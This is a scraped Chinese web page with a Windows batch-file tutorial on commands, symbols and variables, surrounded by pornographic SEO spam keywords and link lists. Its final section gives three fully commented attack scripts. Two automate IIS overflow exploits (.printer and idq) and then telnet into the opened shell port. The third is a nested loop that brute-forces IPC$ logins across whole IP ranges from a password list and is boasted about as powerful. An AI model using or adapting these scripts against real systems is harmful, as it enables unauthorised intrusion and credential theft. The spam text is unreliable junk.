成人性生交大片免费看视频r_亚洲综合极品香蕉久久网_在线视频免费观看一区_亚洲精品亚洲人成人网在线播放_国产精品毛片av_久久久久国产精品www_亚洲国产一区二区三区在线播_日韩一区二区三区四区区区_亚洲精品国产无套在线观_国产免费www

主頁 > 知識庫 > 批處理學習教程

批處理學習教程

熱門標簽:南京機器人外呼系統(tǒng)多少錢 征服者博物館地圖標注點 沙依巴克工廠地圖標注 滄州外呼增值業(yè)務線路解決方案 江蘇手機外呼系統(tǒng)供應商 地圖標注顯示小區(qū) 江蘇辦理400電話是免費的嗎 紹興400電話怎么辦理 福建防封電銷卡辦理套餐
第一部分:批處理的專用命令

批處理文件是將一系列命令按一定的順序集合為一個可執(zhí)行的文本文件,其擴展名為BAT。這些命令統(tǒng)稱批處理命令,下面我就來給大家介紹一下批處理的命令。

1、 REM

REM 是個注釋命令一般是用來給程序加上注解的,該命令后的內(nèi)容在程序執(zhí)行的時候?qū)⒉粫伙@示和執(zhí)行。例:
REM 你現(xiàn)在看到的就是注解,這一句將不會被執(zhí)行。在以后的例子中解釋的內(nèi)容都REM 會放在REM后面。請大家注意。

2、 ECHO

ECHO 是一個回顯命令主要參數(shù)有OFF和 ON,一般用ECHO message來顯示一個特定的消息 。例:
Echo off
Rem 以上代表關閉回顯即不顯示所執(zhí)行的命令
Echo 這個就是消息。
Rem 以上代表顯示“這就是消息”這列字符
執(zhí)行結果:
C:\&;ECHO.BAT
這個就是消息。

3、 GOTO

GOTO 即為跳轉(zhuǎn)的意思。在批處理中允許以“:XXX”來構建一個標號然后用GOTO :標號直接來執(zhí)行標號后的命令。例
:LABEL
REM 上面就是名為LABEL的標號。
DIR C:\
DIR D:\
GOTO LABEL
REM 以上程序跳轉(zhuǎn)標號LABEL處繼續(xù)執(zhí)行。

4、CALL

CALL 命令可以在批處理執(zhí)行過程中調(diào)用另一個批處理,當另一個批處理執(zhí)行完后再繼續(xù)執(zhí)行原來的批處理。例:
批處理2.BAT內(nèi)容如下:
ECHO 這就是2的內(nèi)容
批處理1.BAT內(nèi)容如下:
ECHO 這是1的內(nèi)容
CALL 2.BAT
ECHO 1和2的內(nèi)容全部顯示完成
執(zhí)行結果如下:
C:\&;1.BAT
這是1的內(nèi)容
這就是2的內(nèi)容
1和2的內(nèi)容全部顯示完成

5、PAUSE

PAUSE 停止系統(tǒng)命令的執(zhí)行并顯示下面的內(nèi)容。例:
C:\&; PAUSE
請按任意鍵繼續(xù) . . .

6、 IF

IF 條件判斷語句,語法格式如下:
IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
說明:
[NOT] 將返回的結果取反值即“如果沒有”的意思。
ERRORLEVEL 是命令執(zhí)行完成后返回的退出值
Number 退出值的數(shù)字取值范圍0~255。判斷時值的排列順序應該又大到小。返回的值大于或等于指定的值時條件成立。
string1==string2 string1和string2都為字符的數(shù)據(jù),英文字符的大小寫將看做不同,這個條件中的等于號必須是2個(絕對相等),條件想等后即執(zhí)行后面的 command
EXIST filename 為文件或目錄存在的意思。
IF ERRORLEVEL這條語句必須放在某一個命令后面。執(zhí)行命令后由IF ERRORLEVEL來判斷命令的返回值。
例:

1、 IF [NOT] ERRORLEVEL number command
檢測命令執(zhí)行完后的返回值做出判斷。
echo off
dir z:
rem 如果退出代碼為1(不成功)就跳至標題1處執(zhí)行
IF ERRORLEVEL 1 goto 1
rem 如果退出代碼為0(成功)就跳至標題0處執(zhí)行
IF ERRORLEVEL 0 goto 0
:0
echo 命令執(zhí)行成功!
Rem 程序執(zhí)行完畢跳至標題exit處退出
goto exit
:1
echo 命令執(zhí)行失??!
Rem 程序執(zhí)行完畢跳至標題exit處退出
goto exit
:exit
Rem 這里是程序的出口
2、 IF string1==string2 command
檢測當前變量的值做出判斷
ECHO OFF
IF %1==2 goto no
Echo 變量相等!
Goto exit
:no
echo 變量不相等
goto exit
:exit
大家可以這樣看效果 C:\&;test.bat 數(shù)字

3、 IF [NOT] EXIST filename command
發(fā)現(xiàn)特定的文件做出判斷
echo off
IF not EXIST autoexec.bat goto 1
echo 文件存在成功!
goto exit
:1
echo 文件不存在失??!
goto exit
:exit
這個批處理大家可以放在c盤和d盤分別執(zhí)行看看效果。
7、 FOR
FOR這個命令比較特殊是一個循環(huán)執(zhí)行命令的命令,同時FOR的循環(huán)里面還可以套用FOR在進行循環(huán)。這篇我們介紹基本的用法就不做套用的循環(huán)了,后面再來講解套用的循環(huán)。在批處理中FOR的命令如下:
FOR [%%c] IN (set) DO [command] [arguments]
在命令行中命令如下:
FOR [%c] IN (set) DO [command] [arguments]
常用參數(shù):
/L 該集表示以增量形式從開始到結束的一個數(shù)字序列。因此,(1,1,5) 將產(chǎn)生序列 1 2 3 4 5,(5,-1,1) 將產(chǎn)生序列 (5 4 3 2 1)。
/D 如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。

/F 從指定的文件中讀取數(shù)據(jù)作為變量
eol=c - 指一個行注釋字符的結尾(就一個)
skip=n - 指在文件開始時忽略的行數(shù)。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變量名稱的分配。m-n格式為一個范圍。通過 nth 符號指定 mth。如果符號字符串中的最后一個字符星號,那么額外的變量將在最后一個符號解析之后分配并接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:在作為命令執(zhí)行一個后引號的字符串并且一個單引號字符為文字字符串命令并允許在 filenameset中使用雙引號擴起文件名稱。
下面來看一個例子:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或空格定界符號。請注意,這個 for 程序體的語句引用 %i 來取得第二個符號,引用 %j 來取得第三個符號,引用 %k來取得第三個符號后的所有剩余符號。對于帶有空格的文件名,您需要用雙引號將文件名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會被理解成是用作定義某個要分析的字符串的。
%i 專門在 for 語句中得到說明,%j 和 %k 是通過tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符號,只要不試圖說明一個高于字母 'z' 或'Z' 的變量。請記住,F(xiàn)OR 變量名分大小寫,是通用的;而且,同時不能有 52 個以上都在使用中。
您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,用單引號將括號之間的 filenameset 括起來。這樣,該字符串會被當作一個文件中的一個單一輸入行。最后,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括號之間的 filenameset 變成一個反括字符串。該字符串會被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進內(nèi)存,并被當作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
會枚舉當前環(huán)境中的環(huán)境變量名稱。
以下列舉一個簡單的例子,他將說明參數(shù)/L和沒有參數(shù)的區(qū)別:
刪除文件1.TXT 2.TXT 3.TXT 4.TXT 5.TXT
例:
ECHO OFF
FOR /L %%F IN (1,1,5) DO DEL %%F.TXT

FOR %%F IN (1,2,3,4,5) DO DEL %%F.TXT
以上2條命令執(zhí)行的結果都是一樣的如下:
C:\&;DEL 1.TXT
C:\&;DEL 2.TXT
C:\&;DEL 3.TXT
C:\&;DEL 4.TXT
C:\&;DEL 5.TXT

8、 SETLOCAL
開始批處理文件中環(huán)境改動的本地化操作。在執(zhí)行 SETLOCAL 之后
所做的環(huán)境改動只限于批處理文件。要還原原先的設置,必須執(zhí)
行 ENDLOCAL。 達到批處理文件結尾時,對于該批處理文件的每個
尚未執(zhí)行的 SETLOCAL 命令,都會有一個隱含的 ENDLOCAL 被
執(zhí)行。例:
@ECHO OFF
SET PATH /*察看環(huán)境變量PATH
PAUSE
SETLOCAL
SET PATH=E:\TOOLS /*重新設置環(huán)境變量PATH
SET PATH
PAUSE
ENDLOCAL
SET PATH
從上例我們可以看到環(huán)境變量PATH第1次被顯示得時候是系統(tǒng)默認路徑。被設置成了E:\TOOLS后顯示為E:\TOOLS但當ENDLOCAL后我們可以看到他又被還原成了系統(tǒng)的默認路徑。但這個設置只在該批處理運行的時候有作用。當批處理運行完成后環(huán)境變量PATH將會還原。

9、 SHIFT
SHIFT命令可以讓在命令上的的命令使用超過10個(%0~%9)以上的可替代參數(shù)例:
ECHO OFF
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
執(zhí)行結果如下:
C::\&;SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
1 2 3 4 5 6 7 8 9
2 3 4 5 6 7 8 9 10
3 4 5 6 7 8 9 10 11
以上就是基于WIN2000下的9個批處理命令。

第二部分:特殊的符號與批處理

在命令行下有些符號是不允許使用的但有些符號卻有著特殊的意義。
1、 符號(@)
@在批處理中的意思是關閉當前行的回顯。我們從上面知道用命令echo off可以關掉整個批處理的命令回顯但卻不能不顯示echo off這個命令?,F(xiàn)在我們在這個命令前加上@這樣echo off這一命令就被@關閉了回顯從而達到所有命令均不回顯得要求
2、 符號(>)
>的意思是傳遞并覆蓋。他所起的作用是將運行后的回顯結果傳遞到后面的范圍(后面可是文件也可是默認的系統(tǒng)控制臺)例:
文件1.txt的文件內(nèi)容為:
1+1
使用命令c:\&;dir *.txt >1.txt
這時候1.txt的內(nèi)容如下
驅(qū)動器 C 中的卷沒有標簽。
卷的序列號是 301A-1508
C:\ 的目錄
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 個文件 18,630,070 字節(jié)
0 個目錄 1,191,542,784 可用字節(jié)
>將命令執(zhí)行的結果覆蓋了原始的文件內(nèi)容。
在傳遞給控制臺的時候程序?qū)⒉粫腥魏位仫@(注意:這里的回顯跟echo off關掉的回顯不是同一概念。Echo off關掉的是輸入命令的回顯,這里的回顯是程序執(zhí)行中或后的回顯)例:
C:\&;dir *.txt >nul
程序?qū)]有任何顯示也不會產(chǎn)生任何痕跡。
3、 符號(>>)
符號>>的作用與符號>相似,但他們的區(qū)別在于>>是傳遞并在文件末尾追加>>也可將回顯傳遞給控制臺(用法同上)例:
文件1.txt內(nèi)同為:
1+1
使用命令c:\&;dir *.txt >>1.txt
這時候1.txt的內(nèi)容如下
1+1
驅(qū)動器 C 中的卷沒有標簽。
卷的序列號是 301A-1508
C:\ 的目錄
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 個文件 18,630,070 字節(jié)
0 個目錄 1,191,542,784 可用字節(jié)
>>將命令執(zhí)行的結果覆加在了原始的文件內(nèi)容后面。
4、 符號(|)
|是一個管道傳輸命令意思是將上一命令執(zhí)行的結果傳遞給下一命令去處理。例:
C:\&;dir c:\|find "1508"
卷的序列號是 301A-1508
以上命令的意思為查找c:\的所有并發(fā)現(xiàn)1508字符串。Find的用法請用 find /?自行查看
在不使用format的自動格式化參數(shù)的時候我是這樣來自動格式化盤片的
echo y|fornat a: /s /q /v:system
用過format命令的人都知道format有一個交互對化過程,要使用者輸入y來確定當前的命令是否被執(zhí)行。在這個命令前加上echo y并用管道傳輸符|將echo執(zhí)行的結果y傳遞給format從而達到手工輸入y的目的(這條命令有危害性,測試的時候請謹慎)
5、 符號(^)
^ 是對特殊符號 > 、、 、的前導字符。在命令中他將以上的3個符號的特殊動能去掉僅僅只吧他們當成符號而不使用他們的特殊意義。例:
c:\&;echo test ^> 1.txt
test > 1.txt
從上面可以看出并沒有把test寫入文件1.txt而是將test >1.txt 當字符串顯示了出來。這個符號在遠程構建批處理的時候很有效果。
6、 符號()
符號允許在一行中使用2個以上不同的命令,當?shù)谝粋€命令執(zhí)行失敗將不影響第2個命令的執(zhí)行。例:
c:\&; dir z:\ dir y:\ dir c:\
以上的命令將會連續(xù)顯示z: y: c:盤內(nèi)的內(nèi)容不理會該盤符是否存在。
7、 符號()
符號也是允許在一行中使用2個以上不同的命令,當?shù)谝粋€命令執(zhí)行失敗后后續(xù)的命令將不會再被執(zhí)行。例:
c:\&; dir z:\ dir y:\ dir c:\
以上的命令將會提示檢查是否存在z:盤如果存在則執(zhí)行,如果不存在則停止執(zhí)行所有的后續(xù)命令
8、 符號(" ")
" "符號允許在字符串中包含空格。進入一個特殊的目錄可以用如下方法例:
c:\&;cd “Program Files”
c:\&;cd progra~1
c:\&;cd pro*
以上方法都可以進入Program Files目錄
9、 符號(,)
,符號相當于空格。在某些特殊的情況下可以用,來代替空格使用。例:
c:\&;dir,c:\
10、 符號(;)
;符號當命令相同的時候可以將不同的目標用;隔離開來但執(zhí)行效果不變。如執(zhí)行過程中發(fā)生錯誤則只返回錯誤報告但程序還是會繼續(xù)執(zhí)行。例:
DIR C:\;D:\;E:\F:\
以上的命令相當于
DIR C:\
DIR D:\
DIR E:\
DIR F:\
當然還有些特殊的符號但他們的使用范圍很小我就不再這里一一的說明了。

第三部分:批處理與變量

在批處理中適當?shù)囊米兞繉鼓闼幹频某绦驊妹娓鼜V。批處理每次能處理的變量從%0~%9共10個。其中%0默認給批處理的文件名使用。除非在使用SHIFT命令后%0才能被%1所替代。引用shift命令的例子如果把%1前面多加上一個%0那么結果如下:
C::\&;SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
SHIFT.BAT 1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9 10
2 3 4 5 6 7 8 9 10 11
系統(tǒng)是如何區(qū)分每個變量的呢,系統(tǒng)區(qū)分變量的規(guī)則為字符串中間的空格,即只要發(fā)現(xiàn)空格就把空格前面的字符當作一個變量而空格后面的字符則作為另一個變量。如果你的變量是一個當中包含空格的長目錄名這時候你需要用上一節(jié)特殊符號8中所用的引號將他圈起來。例:
批處理內(nèi)容為:
ECHO %1
ECHO %2
ECHO %3
輸入命令:
C:\&;TEST “Program Files” Program Files
Program Files
Program
Files
在一個復雜的批處理中又可能同時使用的變量會超過10個這時候會和系統(tǒng)的規(guī)則想沖突那么這個問題怎么解決呢?在系統(tǒng)中還有一種變量稱之為環(huán)境變量(使用 SET命令可以查看當前系統(tǒng)的環(huán)境變量)如當前系統(tǒng)目錄是%windir%或%SystemRoot%等。當同時使用的參數(shù)超過10個的時候,我們可以把某些在后面的程序中還要調(diào)用的變量保存為環(huán)境變量。具體用法如 SET A=%1 這樣我們就命名了一個新的環(huán)境變量A 在調(diào)用變量A的時候要%A%這樣調(diào)用,環(huán)境變量不受SHIFT命令影響。如果要改變一個環(huán)境變量需要重新對其設置才能改變。當然也可以進行變量與變量之間的傳遞來達到目的。下面我們來看一個例子,批處理如下:
ECHO OFF
SET PASS=%1
SHIFT
SET PASS1=%1
SHIFT
ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %PASS% %PASS1% %9
SET PASS=%PASS1% 變量的傳遞
SET PASS1=%9
SHIFT
ECHO %PASS% %PASS1% %9
使用命令:C:\&;TEST A B 3 4 5 6 7 8 9 10 K L
A B 3 4 5 6 7 8 9 10 K 注意:這一行顯示了11個變量
A B L 在使用了3次SHIFT之后%9變成了L
B L 變量的傳遞后的結果

第四部分:完整案例

以上就是批處理的一些用法?,F(xiàn)在我們把這些用法結合起來詳細的分析一下目前網(wǎng)上發(fā)布的一些批處理,看看他們是怎么運作的。這里我將列舉三個例子來詳細分析,為了保持程序的完整我的注釋會加在/*后面。
例一
這個例子是利用iis5hack.exe對有.printer漏洞的主機進行溢出的批處理。用到的程序有iis5hack.exe和系統(tǒng)自帶的telnet.exe。iis5hack的命令格式為:
iis5hack 目標ip> 目標端口> 目標版本> 溢出連接端口>目標版本為0-9這10個數(shù)字分別對應不同語言版本和sp的系統(tǒng)版本,我們編制的批處理使用的命令格式為 iis.bat 目標ip (開始版本號)>開始版本號可有可無。程序如下。
@echo off /*關閉命令回顯
if "%1%"=="" goto help /*判斷%1是否為空,%1為目標ip
if "%2%"=="1" goto 1 /*判斷%2是否為1,為1則跳轉(zhuǎn)標志1
if "%2%"=="2" goto 2 /*%2為開始版本號,如果沒有設置則
if "%2%"=="3" goto 3 /*如果存在則從匹配的地方開始執(zhí)行
if "%2%"=="4" goto 4
if "%2%"=="5" goto 5
if "%2%"=="6" goto 6
if "%2%"=="7" goto 7
if "%2%"=="8" goto 8
if not EXIST iis5hack.exe goto file /*沒有發(fā)現(xiàn)iis5hack.exe就執(zhí)行標志file段內(nèi)容
ping %1 -n 1 | find "Received = 1" /*ping目標1次,從結果中發(fā)現(xiàn)Received = 1
if errorlevel 1 goto error /*如果返回代碼為1則執(zhí)行error段(代碼1為沒有發(fā)現(xiàn) 0為發(fā)現(xiàn)并成功執(zhí)行)
iis5hack %1 80 9 88 | find "good" /*開始溢出目標端口80 系統(tǒng)代碼9 溢出后連接端口88 在執(zhí)行結果中發(fā)現(xiàn)字符串”good”(溢出成功后才會有字符串good)
if not errorlevel 1 goto telnet /*如果沒有錯誤代碼1(溢出成功)就執(zhí)行telnet段的內(nèi)容。
echo 操作系統(tǒng)類型 9 失敗! /否則顯示這一句
:8 /*以下代碼內(nèi)容參照上面
iis5hack %1 80 8 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 8 失敗!
:7
iis5hack %1 80 7 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 7 失敗!
:6
iis5hack %1 80 6 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 6 失敗!
:5
iis5hack %1 80 5 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 5 失敗!
:4
iis5hack %1 80 4 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 4 失敗!
:3
iis5hack %1 80 3 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 3 失敗!
:2
iis5hack %1 80 2 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 2 失敗!
:1
iis5hack %1 80 1 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 1 失敗!
:0
iis5hack %1 80 0 88 | find "good"
if not errorlevel 1 goto telnet
echo 操作系統(tǒng)類型 0 失敗!
goto error
:telnet
telnet %1 88 /*開始連接目標ip的88端口
goto exit /*連接中斷后跳轉(zhuǎn)exit段
:error /*error段顯示錯誤后的幫助信息
echo 可能網(wǎng)絡不能連接或者對方以修補該漏洞!請按照下面的格式手工嘗試一次!
echo iis5hack [目標IP] [WEB端口] [系統(tǒng)類型] [開放端口]
ECHO 中文: 0
ECHO 中文+sp1: 1
ECHO 英文: 2
ECHO 英文+sp1: 3
ECHO 日語: 4
ECHO 日語+sp1: 5
ECHO 韓文: 6
ECHO 韓文+sp1: 7
ECHO 墨西哥語: 8
ECHO 墨西哥語+sp1: 9
goto exit /*跳轉(zhuǎn)exit段
:file /*file段顯示文件沒有發(fā)現(xiàn)的信息
echo 文件iis5hack.exe沒有發(fā)現(xiàn)!程序終止運行!
goto exit /*跳轉(zhuǎn)exit段
:help /*help段顯示本批處理的使用格式幫助
echo 本程序用法如下:
echo iis [目標ip]
echo iis [目標ip] [開始的號碼9-0]
:exit /*exit段為程序出口
這個批處理基本沒有什么循環(huán)只是一路走下來。所以代碼比較長難度不大!
例二
這個例子是用iisidq.exe對有idq漏洞的機器進行溢出的批處理。使用的程序有iisidq.exe和系統(tǒng)自帶的程序telnet.exe。iisidq.exe的用法如下:
運行參數(shù): 操作系統(tǒng)類型 目的地址 web端口 1 溢出監(jiān)聽端口 輸入命令1>
其中,如果輸入命令參數(shù)沒有輸入,那么,默認為:"cmd.exe"。
其中操作系統(tǒng)類型類型的代碼范圍是0-14。我們編制的批處理使用的命令格式為 idq.bat 目標ip>程序如下:
@echo off /*同例一
if not EXIST iisidq.exe goto file /*同例一
if %1 == "" goto error /*同例一
ping %1 -n 1 | find "Received = 1" /*同例一
if errorlevel 1 goto error1 /*同例一
set b=%1 /*創(chuàng)建一個環(huán)境變量b,將變量%1的內(nèi)容傳遞給環(huán)境變量b。變量b的內(nèi)容以后將是目標ip
set a=0 /*創(chuàng)建一個環(huán)境變量a并指定環(huán)境變量a為0。由于使用整個批處理的循環(huán)所以用a來做計數(shù)器。
:no /*no段開始
if %a%==0 set d=0 /*如果環(huán)境變量a=0則創(chuàng)建環(huán)境變量d設定環(huán)境變量d=0。
if %a%==1 set d=1 /*環(huán)境變量d其實是操作系統(tǒng)類型代碼,用計數(shù)器來控制其
if %a%==2 set d=2 /*變動。
if %a%==3 set d=3
if %a%==4 set d=4
if %a%==5 set d=5
if %a%==6 set d=6
if %a%==7 set d=7
if %a%==9 set d=9
if %a%==10 set d=13
if %a%==11 set d=14
goto 0 /*變量傳遞完成后轉(zhuǎn)到標志0處運行
:1
echo 正在執(zhí)行第%d%項!與目標%b%不能連接!正在嘗試連接請等候......
:0 /*標志0開始
IISIDQ %d% %b% 80 1 99 |find "good" /*按格式發(fā)送溢出命令并在結果中發(fā)現(xiàn)字符串good(發(fā)送代碼成功才會有字符串good)
if errorlevel 1 goto 1 /*如果沒有good字符串則沒有發(fā)送成跳
/*轉(zhuǎn)標志1處繼續(xù)嘗試發(fā)送
ping 127.0.0.1 -n 8 >nul /*ping自己8次相當于延時8秒不顯示執(zhí)
/*行結果
echo 正在執(zhí)行第%d%項! /*報告正在溢出的操作系統(tǒng)類型
telnet %b% 99 /*連接溢出端口
echo. /*顯示一個空行
if %d%==14 goto error1 /*如果操作系統(tǒng)類型為14則跳轉(zhuǎn)error1處(循環(huán)出口)
if %d%==13 set a=11 /*開始用計數(shù)器對操作系統(tǒng)代碼重新附值
if %d%==9 set a=10
if %d%==7 set a=9
if %d%==6 set a=7
if %d%==5 set a=6
if %d%==4 set a=5
if %d%==3 set a=4
if %d%==2 set a=3
if %d%==1 set a=2
if %d%==0 set a=1
goto no /*附值完成跳轉(zhuǎn)no段執(zhí)行
:file /*以下都是出錯后的幫助提示
echo IIsidq.exe沒有發(fā)現(xiàn)!將該文件和本文件放在同一目錄!
goto exit
:error
echo 錯誤!目標ip不可識別!請使用下面的格式連接!
echo idq [目標IP]
goto exit
:error1
echo 連接沒有成功!可能目標機器已經(jīng)修補了該漏洞或者網(wǎng)絡故障所至!
echo 請按照下面的格式手工嘗試!
echo iisidq [目標類型] [目標IP] [目標端口] [連接方式] [溢出端口]
echo telnet [目標ip] [溢出端口]
:exit /*整個程序的出口
這個批處理采用的整體循環(huán)掌握好計數(shù)器部分就掌握了這個批處理。
例三
for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use \\%1.%%a.%%b.%%c\ipc$ %%e /u:%%f
上面的命令為1條命令。大家可以看出該命令使用了4個FOR來套用的。用法為:C:\&;TEST.BAT 218 當輸入218回車后該命令會由第1個for取初始值0為%%a然后繼續(xù)取第2個for的初始值0為%%b繼續(xù)取第3個for的初始值1為%%c最后一個 for是將userpass.txt中的第一段字符作為密碼%%e第二段字符作為用戶名%%f最后執(zhí)行命令 (這里我把上面的值都帶進去,設密碼為123 用戶名為 abc)
net usr \\218.0.0.1\ipc$ 123 /u:abc
當然上面這個例子可能有些朋友會說太簡單并且太死板不靈活。我把這個例子做了些修改(完整文件見光盤ipc.bat)由興趣的朋友可以自己看看。修改后的程序可以靈活的查找你指定開始到結束或你指定開始到最大ip的范圍。當然功能還可以在加強,至于能加強到什么地步能不能成為一個新的工具那就是你的事了。
這個的循環(huán)動作大了點主要是ip的數(shù)字替換麻煩所以沒辦法。這個批處理我就不寫注釋了,大家好好的參考上面的內(nèi)容你會很快看懂這個批處理的??炊说貌灰f簡單哦!最起碼這是個沒有使用任何第三方工具就能探測并保存弱口令的批處理了??!簡單的改一改殺傷力還是很大的。以上這些批處理全部在win2000和 xp下測試通過最大的優(yōu)點就是只有一個批處理文件并且絕對不會誤報。缺點就是太長


PS:學編程前最好先不學會這個,雖然他不屬于編程,但具有編程的思想。
您可能感興趣的文章:
  • 批處理(dos/bat)最完整人性化教程
  • 推薦學習dos和bat的批處理的教程
  • 又一篇不錯的批處理bat學習教程
  • 經(jīng)過整理的一些dos/bat批處理教程
  • windows批處理命令教程
  • 精通批處理教程 批處理從入門到精通
  • 批處理實例代碼教程 集合
  • 推薦一篇批處理最完整人性化教程
  • 寫的不錯批處理教程一
  • 批處理文件制作實例精彩教程
  • 批處理經(jīng)典入門教程!(從不懂到高手)
  • 收藏的比較完整的批處理教程
  • BAT 批處理腳本教程(詳細篇腳本之家補充)

標簽:烏魯木齊 陽泉 香港 吳忠 湘西 宜賓 小程序 巴中

巨人網(wǎng)絡通訊聲明:本文標題《批處理學習教程》,本文關鍵詞  批處理,學習教程,批處理,;如發(fā)現(xiàn)本文內(nèi)容存在版權問題,煩請?zhí)峁┫嚓P信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《批處理學習教程》相關的同類信息!
  • 本頁收集關于批處理學習教程的相關信息資訊供網(wǎng)民參考!
  • 推薦文章
    潘金莲一级淫片aaaaaa播放1| 不卡视频一区二区三区| 高h调教冰块play男男双性文| 欧美日韩1区2区| 伊人色综合久久天天| 性色av一区二区咪爱| 精品久久久久久久久久| 欧美 日韩 国产 成人 在线 91| 91精品免费久久久久久久久| 你懂得在线视频| 国产成人一区二区三区| 91蜜桃视频在线观看| 香蕉影视欧美成人| 精品久久久久久久久久久久久久久久久久| 一本色道亚洲精品aⅴ| 国产porn在线| 欧美视频xxxx| 精品视频第一区| 日本视频中文字幕| 欧美国产成人精品一区二区三区| 久久亚洲精品欧美| 91久热免费在线视频| 女人偷人在线视频| 在线播放第一页| 99在线视频播放| 久久的色偷偷| 99热这里只有精品首页| 国产真实久久| 中文字幕在线看| 日韩 欧美 中文| 欧美片一区二区| 在线国产情侣| 天堂av一区| 91福利视频免费观看| 国产精品又粗又长| 91成人看片| 黄色a**址| 亚洲精品国产系列| 一级做a爰片久久毛片16| 国产小视频在线观看| 国产精品久久久久久久久男| 久久久久久久伊人| 综合久久精品| 激情小说 在线视频| 99re6在线观看| 黑森林福利视频导航| 欧美激情一区二区三区不卡| 欧美成人精品一区二区三区| 黄色网址在线免费观看| 欧美中文字幕不卡| 成人成人成人在线视频| 一呦二呦三呦精品国产| 偷窥韩漫第三季| 亚洲裸体俱乐部裸体舞表演av| 色吊丝在线永久观看最新版本| 日韩精品卡通动漫网站| 老司机午夜精品视频| 波多野结衣视频观看| 国产成人99久久亚洲综合精品| 久久av日韩| 国产综合久久久久久久久久久久| 成人在线电影在线观看视频| 日韩一级视频| 91国产精品电影| 欧美日韩美女在线观看| 一区二区日本伦理| 精品少妇一区二区三区在线播放| 精品欧美乱码久久久久久| 国模私拍视频在线播放| 中文字幕一区二区三区乱码在线| 97偷自拍亚洲综合二区| 免费在线一区观看| kk眼镜猥琐国模调教系列一区二区| 日本黄色片视频| 好吊一区二区三区| 一区二区三区加勒比av| 长河落日免费高清观看| 欧美这里有精品| 91www成人久久| 国产99在线|中文| jizz欧美激情18| 精品久久久久久久中文字幕| 91超碰在线| 欧美成人精品欧美一级乱黄| 国产性生活一级片| 一区二区三区四区在线观看视频| 亚洲r级在线视频| 亚洲色图15p| 国产目拍亚洲精品99久久精品| 欧美精品久久久久久久久久丰满| 亚洲男人天堂2023| 日本黄色大片在线观看| 一区二区三区免费视频播放器| 国产农村妇女毛片精品久久| 米奇四色影视| 免费三级在线观看| 欧美黑人一区二区| www久久久| 久久国产精品亚洲77777| 一级日本黄色片| 精品不卡一区二区三区| 麻豆精品国产免费| 91九色国产在线播放| 欧美精品另类| 椎名由奈jux491在线播放| 国产精品免费一区二区三区| 麻豆精品视频入口| 香港日本韩国三级网站| 欧美精品一区二区三区在线播放| 亚洲国产精品久久网午夜小说| 欧美贵妇videos办公室| 国产精品久久久久久久蜜臀| 97国产成人精品视频| 喷水视频在线观看| 桃花岛tv亚洲品质| 国产av无码专区亚洲精品| 国产精品视频白浆合集| 在线不卡中文字幕播放| 国产精品888| 日韩av在线免费观看不卡| 秋霞av亚洲一区二区三| 国产精品视频yy9099| yy111111少妇嫩草影院| 真人bbbbbbbbb毛片| 日韩欧美电影一区二区| 国产九色在线播放九色| 国产在线999| 日韩av片网站| 95影院理论片在线观看| 韩国无码av片在线观看网站| 波多野在线播放| 免费av片风间由美在线| 国产剧情精品在线| 久久精品欧美视频| 国产激情视频网站| 亚洲成人在线观看视频| 亚洲免费精彩视频| 色影院视频在线| 日韩大尺度在线观看| heyzo高清国产精品| 貂蝉被到爽流白浆在线观看| 午夜在线视频观看日韩17c| 精品国产av无码一区二区三区| 一区二区中文字幕在线| 欧美v日韩v国产v| 亚洲激情中文在线| 成人激情文学综合网| 人妻熟女aⅴ一区二区三区汇编| 国产精品一区=区| 精品99在线| 亚洲va国产va天堂va久久| 怡红院精品视频在线观看极品| 成人羞羞国产免费网站| 99在线免费视频观看| 欧美日韩国产在线观看网站| 嫩草影院一区二区| 亚洲午夜精品久久久久久性色| 天天操天天干天天| 福利电影一区二区三区| 日本精品中文字幕| 午夜小视频在线播放| 日韩写真欧美这视频| 永久免费网站视频在线观看| 国产aⅴ超薄肉色丝袜交足| 亚洲大尺度视频在线观看| 天堂一区在线观看| 1区2区在线观看| 